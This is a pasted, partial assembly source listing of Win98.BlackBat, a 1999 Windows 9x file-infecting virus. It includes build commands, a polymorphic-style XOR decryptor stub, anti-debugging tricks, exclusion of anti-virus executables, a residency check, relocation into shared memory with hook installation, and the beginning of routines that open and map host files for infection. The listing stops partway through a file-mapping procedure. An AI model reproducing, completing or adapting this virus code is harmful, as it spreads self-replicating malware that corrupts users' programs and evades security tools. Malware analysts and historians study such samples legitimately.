· 2 years ago · Jun 20, 2023, 02:30 PM
1
2;+----------------------------------------------------------------------------+
3;| +------------------------------------------------------------------------+ |
4;| | | |
5;| | \|/ Win98.BlackBat | |
6;| | (. .) ================ | |
7;| | ( | ) | |
8;| | ( v ) (c) 1999, Rohitab Batra | |
9;| | __| |__ <sourcecode@rohitab.com> | |
10;| | // \\ ICQ: 11153794 | |
11;| | // ^ | |
12;| | ((====> http://www.rohitab.com | |
13;| | | |
14;| | Discussion Forum: http://www.rohitab.com/discuss/ | |
15;| | Mailing List: http://www.rohitab.com/mlist/ | |
16;| | | |
17;| | | |
18;| |"Blessed is he who expects nothing, for he shall not be disappointed" | |
19;| | | |
20;| +------------------------------------------------------------------------+ |
21;+----------------------------------------------------------------------------+
22;
23;Compiling (Turbo Assembler)
24; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
25;
26;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
27;message will be displayed, so that you don't accidently compile in release mode.
28;In Release mode, the size of the Virus will be smaller, and .EXE files will be
29;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
30;in the current directory, will be infected.
31;
32;Linking (Turbo Linker)
33; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
34;
35;Making Code Section Writable (EditBin from SDK, or any other utility)
36; c:\>editbin /SECTION:CODE,w BlackBat.EXE
37;
38;***** Info About the Virus *****
39;* If WIN.SYS is found in the root directory, the virus does not infect any file,
40; and does not become resident.
41;* File time and attributes are restored after infection
42;* Encrypted with a random key
43;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
44;* Anti-Debugging Code
45;* Structured Exception Handling
46;* Decryption engine is Polymorphic
47;
48;***** TODO *****
49;1. Dont infect files with todays date
50;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
51;3. Doesn't infect files in directories with long file names
52
53.386p
54.model flat ,stdcall
55EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first
56 ;generation copy executes without crashing
57.data
58 DB ? ;Required for TASM, Else will Crash !!??
59;+----------------------------------------------------------------------------+
60;| +------------------------------------------------------------------------+ |
61;| | | |
62;| | @MESSAGE_BOX Macro | |
63;| | | |
64;| +------------------------------------------------------------------------+ |
65;+----------------------------------------------------------------------------+
66; Description
67; -> Displays a MessageBox with the given Message. Note the caption of
68; the MessageBox is the same as the Message
69;
70; Arguments
71; -> szMessage: Message to be displayed
72;
73; Return Value:
74; -> None
75;
76; Registers Destroyed
77; -> ALL
78;___________________________
79@MESSAGE_BOX MACRO szMessage
80 IF DEBUG
81 @DELTA esi
82 mov eax, esi
83 add eax, offset szMessage
84 call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
85 ENDIF
86ENDM
87;+----------------------------------------------------------------------------+
88;| +------------------------------------------------------------------------+ |
89;| | | |
90;| | @DEFINE_API Macro | |
91;| | | |
92;| +------------------------------------------------------------------------+ |
93;+----------------------------------------------------------------------------+
94; Description
95; -> Defines an API that will be called by the Virus. The macro is expanded
96; to the following, if APIName is MessageBoxA:
97; szMessageBoxA DB "MessageBoxA", 0
98; MessageBoxA DD ?
99;
100; Arguments
101; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
102; the DLL. e.g. MessageBoxA
103;
104; Return Value:
105; -> None
106;
107; Registers Destroyed
108; -> None
109;
110;________________________
111@DEFINE_API MACRO APIName
112 sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API
113 &APIName DD ? ;;Storage space for API Address
114ENDM
115;+----------------------------------------------------------------------------+
116;| +------------------------------------------------------------------------+ |
117;| | | |
118;| | @DELTA Macro | |
119;| | | |
120;| +------------------------------------------------------------------------+ |
121;+----------------------------------------------------------------------------+
122; Description
123; -> Returns the delta offset in the specified register
124;
125; Arguments
126; -> Register: register in which the value of the delta offset is copied
127;
128; Return Value:
129; -> Register: Delta Offset
130;
131; Registers Destroyed
132; -> Register
133;
134;____________________
135@DELTA MACRO Register
136 LOCAL GetIP
137 call GetIP ;;This will push EIP on the stack
138GetIP:
139 pop Register ;;get EIP of current instruction
140 sub Register, offset GetIP ;;Delta Offset
141ENDM
142;+----------------------------------------------------------------------------+
143;| +------------------------------------------------------------------------+ |
144;| | | |
145;| | @OFFSET Macro | |
146;| | | |
147;| +------------------------------------------------------------------------+ |
148;+----------------------------------------------------------------------------+
149; Description
150; -> Returns the true offset of the specified address. Unlike the offset
151; keyword, which calculates the address at assembly time, this macro
152; calculates the address at run-time. This is used to get the correct
153; offset when the virus has been relocated. Instead of using instructions
154; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
155;
156; Arguments
157; -> Register: register in which the offset is to be returned
158; -> Expression: expression whose offset is required
159;
160; Return Value:
161; -> Register: Correct offset of Expression
162;
163; Registers Destroyed
164; -> Register
165;
166;_________________________________
167@OFFSET MACRO Register, Expression
168 LOCAL GetIP
169 call GetIP ;;This will push EIP on the stack
170GetIP:
171 pop Register ;;get EIP of current instruction
172 add Register, offset Expression - offset GetIP ;;True offset
173ENDM
174;+----------------------------------------------------------------------------+
175;| +------------------------------------------------------------------------+ |
176;| | | |
177;| | @GET_API_ADDRESS Macro | |
178;| | | |
179;| +------------------------------------------------------------------------+ |
180;+----------------------------------------------------------------------------+
181; Description
182; -> Gets the address of the API, and stores it
183;
184; Arguments
185; -> APIName: API whose address is required
186; -> ESI: Delta Offset
187; -> EBX: Address of GetProcAddress(...)
188; -> ECX: Base address of DLL which exports the API
189;
190; Return Value:
191; -> None
192;
193; Registers Destroyed
194; -> All Except ESI, EBX and ECX
195;
196;_____________________________
197@GET_API_ADDRESS MACRO APIName
198 push ebx ;;Save Addr of GetProcAddress(...)
199 push ecx ;;Save Image Base
200
201 mov eax, esi
202 add eax, offset sz&APIName ;;API whose address is required
203 call ebx, ecx, eax ;;GetProcAddress(...)
204
205 pop ecx ;;Restore Image Base
206 pop ebx ;;Restore Addr of GetProcAddress(...)
207
208 mov [esi + APIName], eax ;;Save API Address
209ENDM
210;+----------------------------------------------------------------------------+
211;| +------------------------------------------------------------------------+ |
212;| | | |
213;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | |
214;| | | |
215;| +------------------------------------------------------------------------+ |
216;+----------------------------------------------------------------------------+
217; Description
218; -> @TRY_BEGIN: This macro is used to install the exception handler. The
219; code that follows this is the one that is checked for
220; exceptions
221; @TRY_EXCEPT: The code that follows this is executed if an exception
222; occurs.
223; @TRY_END: This is used to mark the end of the TRY block
224;
225; Example
226; @TRY_BEGIN ZeroMemory
227; <CODE1: Code to check for exceptions goes here>
228; @TRY_CATCH ZeroMemory
229; <CODE2: Gets executed if an exception occurs in CODE1>
230; @TRY_END ZeroMemory
231;
232; Arguments
233; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
234; program
235;
236; Return Value:
237; -> None
238;
239; Registers Destroyed
240; -> If an exception occurs, all registers are restored to the state before
241; the @TRY_BEGIN block, otherwise, no registers are modified
242;_______________________
243@TRY_BEGIN MACRO Handler
244 pushad ;;Save Current State
245 @OFFSET esi, Handler ;;Address of New Exception Handler
246 push esi
247 push dword ptr fs:[0] ;;Save Old Exception Handler
248 mov dword ptr fs:[0], esp ;;Install New Handler
249ENDM
250
251@TRY_EXCEPT MACRO Handler
252 jmp NoException&Handler ;;No Exception Occured, so jump over
253Handler:
254 mov esp, [esp + 8] ;;Exception Occured, Get old ESP
255 pop dword ptr fs:[0] ;;Restore Old Exception Handler
256 add esp, 4 ;;ESP value before SEH was set
257 popad ;;Restore Old State
258ENDM
259
260@TRY_END MACRO Handler
261 jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT
262NoException&Handler: ;;No Exception Occured
263 pop dword ptr fs:[0] ;;Restore Old Exception Handler
264 add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ...
265 ;;...4 for push offset Handler. (No Restore State)
266ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured
267ENDM
268;+----------------------------------------------------------------------------+
269;| +------------------------------------------------------------------------+ |
270;| | | |
271;| | @CALL_INT21h Macro | |
272;| | | |
273;| +------------------------------------------------------------------------+ |
274;+----------------------------------------------------------------------------+
275; Description
276; -> Makes an INT 21h Call in Protected Mode
277;
278; Arguments
279; -> Service: INT 21h Service Number
280;
281; Return Value:
282; -> None
283;
284; Registers Destroyed
285; -> Depends on Service called
286;_________________________
287@CALL_INT21h MACRO Service
288 mov eax, Service ;;INT 21h Service
289 @DELTA esi
290 call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
291ENDM
292;+----------------------------------------------------------------------------+
293;| +------------------------------------------------------------------------+ |
294;| | | |
295;| | Constants | |
296;| | | |
297;| +------------------------------------------------------------------------+ |
298;+----------------------------------------------------------------------------+
299;Win32 Constants
300 PAGE_READWRITE EQU 00000004h
301 IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
302 IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable
303 IMAGE_FILE_DLL EQU 2000h ;File is a DLL
304 FILE_MAP_ALL_ACCESS EQU 000F001Fh
305 IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes
306 NULL EQU 0
307 TRUE EQU 1
308 FALSE EQU 0
309
310;File Access
311 GENERIC_READ EQU 80000000h ;Access Mode Read Only
312 GENERIC_WRITE EQU 40000000h ;Access Mode Write Only
313 FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write
314 FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read
315 INVALID_HANDLE_VALUE EQU -1
316 ERROR_ALREADY_EXISTS EQU 000000B7h
317 FILE_ATTRIBUTE_NORMAL EQU 00000080h
318 OPEN_EXISTING EQU 3 ;Fail if not found
319
320;Shutdown Options
321 EWX_FORCE EQU 4
322 EWX_SHUTDOWN EQU 1
323
324;MessageBox
325 MB_OK EQU 00000000h
326 MB_YESNO EQU 00000004h
327 MB_ICONINFORMATION EQU 00000040h
328
329;Virus_Constants
330 @BREAK EQU int 3
331 ;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
332 VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975
333 RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident
334 RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident
335
336;VxD Stuff
337 VWIN32_Int21Dispatch EQU 002A0010h
338 LFN_OPEN_FILE_EXTENDED EQU 716Ch
339 PC_WRITEABLE EQU 00020000h
340 PC_USER EQU 00040000h
341 PR_SHARED EQU 80060000h
342 PC_PRESENT EQU 80000000h
343 PC_FIXED EQU 00000008h
344 PD_ZEROINIT EQU 00000001h
345 SHARED_MEMORY EQU 80000000h ;Anything above this is shared
346 PageReserve EQU 00010000h
347 PageCommit EQU 00010001h
348 PAGE_SIZE EQU 4096 ;Size of a Page in Win9x
349;+----------------------------------------------------------------------------+
350;| +------------------------------------------------------------------------+ |
351;| | | |
352;| | Structures | |
353;| | | |
354;| +------------------------------------------------------------------------+ |
355;+----------------------------------------------------------------------------+
356FILETIME STRUC
357 FT_dwLowDateTime DD ?
358 FT_dwHighDateTime DD ?
359FILETIME ENDS
360
361IMAGE_DOS_HEADER STRUC ;DOS .EXE header
362 IDH_e_magic DW ? ;Magic number
363 IDH_e_cblp DW ? ;Bytes on last page of file
364 IDH_e_cp DW ? ;Pages in file
365 IDH_e_crlc DW ? ;Relocations
366 IDH_e_cparhdr DW ? ;Size of header in paragraphs
367 IDH_e_minalloc DW ? ;Minimum extra paragraphs needed
368 IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed
369 IDH_e_ss DW ? ;Initial (relative) SS value
370 IDH_e_sp DW ? ;Initial SP value
371 IDH_e_csum DW ? ;Checksum
372 IDH_e_ip DW ? ;Initial IP value
373 IDH_e_cs DW ? ;Initial (relative) CS value
374 IDH_e_lfarlc DW ? ;File address of relocation table
375 IDH_e_ovno DW ? ;Overlay number
376 IDH_e_res DW 4 DUP (?) ;Reserved words
377 IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo)
378 IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific
379 IDH_e_res2 DW 10 DUP (?) ;Reserved words
380 IDH_e_lfanew DD ? ;File address of new exe header
381IMAGE_DOS_HEADER ENDS
382
383IMAGE_FILE_HEADER STRUC
384 IFH_Machine DW ? ;System that the binary is intended to run on
385 IFH_NumberOfSections DW ? ;Number of sections that follow headers
386 IFH_TimeDateStamp DD ? ;Time/Date the file was created on
387 IFH_PointerToSymbolTable DD ? ;Used for debugging information
388 IFH_NumberOfSymbols DD ? ;Used for debugging information
389 IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER)
390 IFH_Characteristics DW ? ;Flags used mostly for libraries
391IMAGE_FILE_HEADER ENDS
392
393IMAGE_DATA_DIRECTORY STRUC
394 IDD_VirtualAddress DD ?
395 IDD_Size DD ?
396IMAGE_DATA_DIRECTORY ENDS
397
398IMAGE_OPTIONAL_HEADER STRUC
399 ;Standard Fields
400 IOH_Magic DW ? ;Mostly 0x010B
401 IOH_MajorLinkerVersion DB ? ;Version of the linker used
402 IOH_MinorLinkerVersion DB ? ;Version of the linker used
403 IOH_SizeOfCode DD ? ;Size of executable code
404 IOH_SizeOfInitializedData DD ? ;Size of Data Segment
405 IOH_SizeOfUninitializedData DD ? ;Size of bss Segment
406 IOH_AddressOfEntryPoint DD ? ;RVA of code entry point
407 IOH_BaseOfCode DD ? ;Offset to executable code
408 IOH_BaseOfData DD ? ;Offset to initialized data
409 ;NT Additional Fields
410 IOH_ImageBase DD ? ;Preferred load address
411 IOH_SectionAlignment DD ? ;Alignment of Sections in RAM
412 IOH_FileAlignment DD ? ;Alignment of Sections in File
413 IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image
414 IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image
415 IOH_MajorImageVersion DW ? ;User specified version number
416 IOH_MinorImageVersion DW ? ;User specified version number
417 IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version
418 IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version
419 IOH_Win32VersionValue DD ? ;Mostly set to 0
420 IOH_SizeOfImage DD ? ;Amount of memory the image will need
421 IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table
422 IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers)
423 IOH_Subsystem DW ? ;Subsystem required to run this image
424 IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point
425 IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack
426 IOH_SizeOfStackCommit DD ? ;Size of initially commited stack
427 IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve
428 IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap
429 IOH_LoaderFlags DD ? ;Not generally used
430 IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory
431 IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
432IMAGE_OPTIONAL_HEADER ENDS
433
434IMAGE_EXPORT_DIRECTORY STRUC
435 IED_Characteristics DD ? ;Currently set to 0
436 IED_TimeDateStamp DD ? ;Time/Date the export data was created
437 IED_MajorVersion DW ? ;User settable
438 IED_MinorVersion DW ?
439 IED_Name DD ? ;RVA of DLL ASCIIZ name
440 IED_Base DD ? ;First valid exported ordinal
441 IED_NumberOfFunctions DD ? ;Number of entries
442 IED_NumberOfNames DD ? ;Number of entries exported by name
443 IED_AddressOfFunctions DD ? ;RVA of export address table
444 IED_AddressOfNames DD ? ;RVA of export name table pointers
445 IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry
446IMAGE_EXPORT_DIRECTORY ENDS
447
448IMAGE_SECTION_HEADER STRUC
449 ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
450 UNION
451 ISH_PhysicalAddress DD ?
452 ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded
453 ENDS
454 ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM
455 ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment
456 ISH_PointerToRawData DD ? ;Offset from files beginning to sections data
457 ISH_PointerToRelocations DD ?
458 ISH_PointerToLinenumbers DD ?
459 ISH_NumberOfRelocations DW ?
460 ISH_NumberOfLinenumbers DW ?
461 ISH_Characteristics DD ? ;Flags to decide how section should be treated
462IMAGE_SECTION_HEADER ENDS
463
464SYSTEMTIME STRUC
465 ST_wYear DW ?
466 ST_wMonth DW ?
467 ST_wDayOfWeek DW ?
468 ST_wDay DW ?
469 ST_wHour DW ?
470 ST_wMinute DW ?
471 ST_wSecond DW ?
472 ST_wMilliseconds DW ?
473SYSTEMTIME ENDS
474;+----------------------------------------------------------------------------+
475;| +------------------------------------------------------------------------+ |
476;| | | |
477;| | Virus Entry Point | |
478;| | | |
479;| +------------------------------------------------------------------------+ |
480;+----------------------------------------------------------------------------+
481.code
482;Decryptor
483StartOfVirusCode:
484 call GetDelta
485GetDelta:
486 DB 5Eh ;pop esi
487 DB 83h ;add esi, EncryptedVirusCode - GetDelta
488 DB 0C6h
489 DB offset EncryptedVirusCode - offset GetDelta
490 DB 0B9h ;mov ecx, ENCRYPTED_SIZE
491 DD ENCRYPTED_SIZE
492DecryptByte:
493 DB 80h ;xor byte ptr [esi], 00h
494 DB 36h
495EncryptionKey:
496 DB 00h
497 DB 46h ;inc esi
498 DB 49h ;dec ecx
499 jnz DecryptByte
500
501EncryptedVirusCode: ;Code from this point is encrypted
502 jmp WinMain ;Goto Main Program
503;+----------------------------------------------------------------------------+
504;| +------------------------------------------------------------------------+ |
505;| | | |
506;| | Data Area | |
507;| | | |
508;| +------------------------------------------------------------------------+ |
509;+----------------------------------------------------------------------------+
510 dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL
511 dwUserBase DD ? ;Base address of USER32.DLL
512 szUser32DLL DB "USER32", 0 ;.DLL Extention is not required
513
514;Host File Variables
515 hHostFile DD ? ;Handle of host file
516 hMappedFile DD ? ;Handle of mapped host file
517 lpHostFile DD ? ;Pointer to mapped host file in memory
518 ftLastAccessTime FILETIME ? ;Time the file was last accessed
519 ftLastWriteTime FILETIME ? ;Time the file was last written to
520 dwFileAttributes DD ? ;File attributes of host file
521;Virus Variables
522 szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected
523
524;VxD Stuff
525 OldInt30 DB 6 DUP (0)
526 VxDCall_Busy DB ? ;Semaphore
527 szOutputFile DB "C:\VIRUS.TXT", 0
528
529;KERNEL32 API's
530 VxDCall DD ? ;Exported by ordinal only (Ord 1)
531 @DEFINE_API GetProcAddress
532 @DEFINE_API CloseHandle
533 @DEFINE_API CreateFileA
534 @DEFINE_API CreateFileMappingA
535 @DEFINE_API GetFileAttributesA
536 @DEFINE_API GetFileSize
537 @DEFINE_API GetFileTime
538 @DEFINE_API GetLocalTime
539 @DEFINE_API GetTickCount
540 @DEFINE_API LoadLibraryA
541 @DEFINE_API MapViewOfFile
542 @DEFINE_API SetFileAttributesA
543 @DEFINE_API SetFileTime
544 @DEFINE_API UnmapViewOfFile
545
546;USER32 API's
547 @DEFINE_API ExitWindowsEx
548 IF DEBUG
549 @DEFINE_API MessageBoxA
550 ENDIF
551
552;DEBUG Only Stuff
553IF DEBUG
554 szHostFileName DB "NOTEPAD.EXE",0
555 szWinMainHandler DB "Unhandled Exception in WinMain", 0
556 szPayLoad DB "Happy BirthDay :-)", 0
557 szInfected DB "This File is Infected by the BlackBat Virus", 0
558ENDIF
559;+----------------------------------------------------------------------------+
560;| +------------------------------------------------------------------------+ |
561;| | | |
562;| | WinMain | |
563;| | | |
564;| +------------------------------------------------------------------------+ |
565;+----------------------------------------------------------------------------+
566WinMain PROC
567 IFE DEBUG ;Only for Release Versions
568 cli
569 not esp ;Anti-Debug Code ...
570 not esp ;...will crash if single-stepped
571 sti
572 ENDIF
573
574 @TRY_BEGIN WinMain_Handler ;Putting code in protected block
575 call IsVirusActive
576 test eax, eax ;Virus Resident ?
577 jne End_WinMain ;Yes, return to host
578
579 ;Get Addresses of all Required API's
580 call GetAPIAddresses ;Get the addresses of the other API's
581 test eax, eax ;Error occured ?
582 jz End_WinMain ;Transfer control to host
583
584 IF DEBUG
585 @MESSAGE_BOX szInfected
586 @OFFSET ebx, szHostFileName
587 call InfectFile, ebx
588 ENDIF
589
590 ;Check if this Machine is to be Infected
591 call CanMachineBeInfected ;Is this my machine
592 test eax, eax
593 jz End_WinMain ;Yes, so don't infect
594
595 ;Relocate Virus (Make Resident)
596 call RelocateVirus
597 or eax, eax ;Virus Relocated?
598 je End_WinMain ;No
599
600 ;Jump to Relocated Virus Copy
601 @OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy
602 add eax, offset RelocatedVirus - offset StartOfVirusCode
603 jmp eax ;Control will go to Relocated Copy
604
605 ;This part is the Relocated Copy of the Virus in Shared Memory
606RelocatedVirus:
607 ;When a file is infected, the CALL instruction at label ReturnToHost is
608 ;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated,
609 ;this JMP instruction will point to some invalid location. We need to modify
610 ;this, so that the JMP points to the host program (which was not relocated)
611
612 ;The offset of Calculate_Offset_Instruction in the non-relocated virus was
613 ;saved in EBX before jumping here. Now we calculate the offset in the relocated
614 ;virus (this copy).
615
616 @DELTA eax
617 mov esi, eax ;Save Delta Offset
618 add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy
619 sub eax, ebx ;Difference in offsets
620
621 ;We now subtract this difference from the offset specified in the JMP
622 ;instruction, and update the JMP instruction to point to the correct location
623 ;in memory
624
625 add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction
626 sub [esi], eax ;Fix JMP instruction
627
628 call InstallHookProcedure
629
630End_WinMain:
631 @TRY_EXCEPT WinMain_Handler
632 @MESSAGE_BOX szWinMainHandler
633 @TRY_END WinMain_Handler
634
635ReturnToHost:
636 DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control
637 ;to the host. The address of this JMP
638 ;instruction is calculated at run-time
639 ;ret ;Not required, since control is transfered to host
640WinMain ENDP
641;+----------------------------------------------------------------------------+
642;| +------------------------------------------------------------------------+ |
643;| | | |
644;| | GetAPIAddresses | |
645;| | | |
646;| +------------------------------------------------------------------------+ |
647;+----------------------------------------------------------------------------+
648; Description
649; -> Finds the Address of the API's to be used by the virus
650;
651; Arguments
652; -> None
653;
654; Return Value:
655; -> EAX: 1, if the API addresses were found, 0 otherwise
656;
657; Registers Destroyed
658; -> All
659;___________________
660GetAPIAddresses PROC
661 call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress
662 test eax, eax ;Found Address ?
663 jz End_GetAPIAddresses ;No, Return 0
664
665;Get addresses of all required KERNEL32 API's
666;ESI = Delta Offset
667;EBX = Address of GetProcAddress(...)
668;ECX = Image Base of KERNEL32.DLL
669 @DELTA esi
670 mov ebx, eax ;Address of GetProcAddress(...)
671 mov ecx, dwKernelBase ;Base address of KERNEL32.DLL
672 @GET_API_ADDRESS CloseHandle
673 @GET_API_ADDRESS CreateFileA
674 @GET_API_ADDRESS CreateFileMappingA
675 @GET_API_ADDRESS GetFileAttributesA
676 @GET_API_ADDRESS GetFileSize
677 @GET_API_ADDRESS GetFileTime
678 @GET_API_ADDRESS GetLocalTime
679 @GET_API_ADDRESS GetTickCount
680 @GET_API_ADDRESS LoadLibraryA
681 @GET_API_ADDRESS MapViewOfFile
682 @GET_API_ADDRESS SetFileAttributesA
683 @GET_API_ADDRESS SetFileTime
684 @GET_API_ADDRESS UnmapViewOfFile
685
686;Load USER32.DLL
687 push ebx ;Save address of GetProcAddress(...)
688
689 mov eax, esi ;Delta Offset
690 add eax, offset szUser32DLL ;Name of DLL to be loaded
691 call esi + LoadLibraryA, eax
692 mov ecx, eax ;Base address of USER32.DLL
693
694 pop ebx ;Restore address of GetProcAddress(...)
695
696;Get addresses of all required USER32 API's
697;ESI = Delta Offset
698;EBX = Address of GetProcAddress(...)
699;ECX = Image Base of USER32.DLL
700
701 @GET_API_ADDRESS ExitWindowsEx
702 IF DEBUG
703 @GET_API_ADDRESS MessageBoxA
704 ENDIF
705
706End_GetAPIAddresses:
707 ret
708GetAPIAddresses ENDP
709;+----------------------------------------------------------------------------+
710;| +------------------------------------------------------------------------+ |
711;| | | |
712;| | GetAddressOfKernelAPI | |
713;| | | |
714;| +------------------------------------------------------------------------+ |
715;+----------------------------------------------------------------------------+
716; Description
717; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
718; VxDCall API is exported by ordinal only, and the GetProcAddress is
719; exported by name.
720;
721; Arguments
722; -> EDX: offset of the program <---- NOT USED ANYMORE ???
723; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
724; of GetProcAddress is returned.
725;
726; Return Value:
727; -> EAX: Address of the Required API if Found, Else NULL
728;
729; Registers Destroyed
730; -> All
731;______________________________
732GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
733 LOCAL lpdwAddressOfFunctions:DWORD, \
734 lpdwAddressOfNames:DWORD, \
735 lpwAddressOfNameOrdinals: WORD, \
736 dwVAIED:DWORD
737
738;Get File Headers
739 call GetFileHeaders, dwKernelBase
740 test eax, eax ;Successfully Retreived Headers?
741 je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000
742 mov [dwVAIED], edx
743 mov esi, dwKernelBase
744
745;Get Address of Functions
746 mov ecx, [dwVAIED]
747 mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
748 add eax, esi ;VA of Address of functions
749 mov dword ptr [lpdwAddressOfFunctions], eax
750
751;Check which API is Required
752 cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ?
753 jne GetProcAddressRequired ;GetProcAddress
754
755;Get Address of VxDCall API (Ordinal 1)
756 xor eax, eax
757 inc eax ;Ordinal Reqd = 1
758 sub eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_Base ;Index In Array
759 jmp GetAddressFromIndex
760
761GetProcAddressRequired:
762;Get Address of Names
763 mov ecx, [dwVAIED]
764 mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNames
765 add eax, esi ;VA of Address of Names
766 mov dword ptr [lpdwAddressOfNames], eax
767
768;Get Address of Name ordinals
769 mov ecx, [dwVAIED]
770 mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfNameOrdinals
771 add eax, esi ;VA of Add of Name Ordinals
772 mov dword ptr [lpwAddressOfNameOrdinals], eax
773
774;Find the API index in the AddressOfNames array
775 push esi ;Save the base address of KERNEL32
776 mov eax, esi ;Also save in EAX
777 xor ebx, ebx
778 dec ebx ;Initialize Index to -1
779 mov edx, dword ptr [lpdwAddressOfNames]
780
781 @OFFSET esi, szGetProcAddress ;API to be found
782 mov ecx, esi ;Save address in ECX
783
784CheckNextAPI:
785 inc ebx ;increment index
786 mov edi, dword ptr [edx + ebx*4] ;go the the ebx'th index
787 add edi, eax ;get the VA from the RVA
788 mov esi, ecx ;get address stored previously
789
790CheckNextByte:
791 cmpsb ;Check Byte
792 jne CheckNextAPI ;byte did not match, Incorrect API, Check Next One
793 cmp byte ptr [edi], 0 ;Have we reached the end-of-string
794 je FoundAPI ;Yes? We've found the API
795 jmp CheckNextByte ;No, Check the next byte
796
797FoundAPI:
798 ;EBX contains the index of the function into the array
799 pop esi ;Get the base address of KERNEL32
800
801;Compute the Index
802 mov ecx, ebx
803 mov edx, dword ptr [lpwAddressOfNameOrdinals]
804 movzx eax, word ptr [edx + ecx*2] ;Index
805
806;Get the Address (EAX = Index, ESI = Kernel32 Base)
807GetAddressFromIndex:
808 mov ebx, [lpdwAddressOfFunctions]
809 mov eax, dword ptr [ebx + eax*4] ;RVA of the API
810 add eax, esi ;VA of the API
811
812End_GetAddressOfKernelAPI:
813 ret
814GetAddressOfKernelAPI ENDP
815;+----------------------------------------------------------------------------+
816;| +------------------------------------------------------------------------+ |
817;| | | |
818;| | OpenAndMapFile | |
819;| | | |
820;| +------------------------------------------------------------------------+ |
821;+----------------------------------------------------------------------------+
822; Description
823; -> Opens a file from disk, and maps it into memory. The function also
824; saves the file modified time and file attributes before opening the
825; file. These are later restored by UnmapAndCloseFile
826;
827; Arguments
828; -> DWORD oamf_szFileName: Pointer to ASCIIZ name of file to be mapped
829; -> DWORD oamf_dwAddBytes: Number of bytes by which to increase the file size
830;
831; Return Value:
832; -> EAX: Starting address of memory where the file has been mapped, or 0
833; if an error occured
834; -> ECX: Original File Size
835;
836; Registers Destroyed
837; -> All
838;_______________________________________________________________
839OpenAndMapFile PROC oamf_szFileName:DWORD, oamf_dwAddBytes:DWORD
840 @DELTA esi
841
842;Save File Attributes, and Clear all attributes
843 call esi + GetFileAttributesA, oamf_szFileName
844 mov [esi + dwFileAttributes], eax ;Save File Attributes
845 call esi + SetFileAttributesA, oamf_szFileName, FILE_ATTRIBUTE_NORMAL
846 test eax, eax ;File Attributes Set ?
847 je End_OpenAndMapFile ;No, Return 0
848
849;Open the file in R/W mode
850 call esi + CreateFileA, oamf_szFileName, GENERIC_READ OR GENERIC_WRITE, \
851 FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL
852 cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
853 je Error_OpenAndMapFile_Create ;No
854 mov [esi + hHostFile], eax ;Yes, Save handle of host file
855
856;Get and Store File Time
857 lea ebx, [esi + ftLastAccessTime]
858 lea ecx, [esi + ftLastWriteTime]
859 call esi + GetFileTime, eax, NULL, ebx, ecx
860
